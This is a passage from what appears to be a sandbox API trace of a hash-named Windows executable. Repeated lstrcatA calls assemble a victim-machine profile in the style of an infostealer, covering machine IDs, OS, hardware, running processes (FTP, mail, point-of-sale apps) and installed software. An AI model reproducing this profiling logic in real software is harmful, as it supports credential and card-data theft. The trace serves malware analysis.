C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001"
[0054.958] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]"
[0054.958] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe 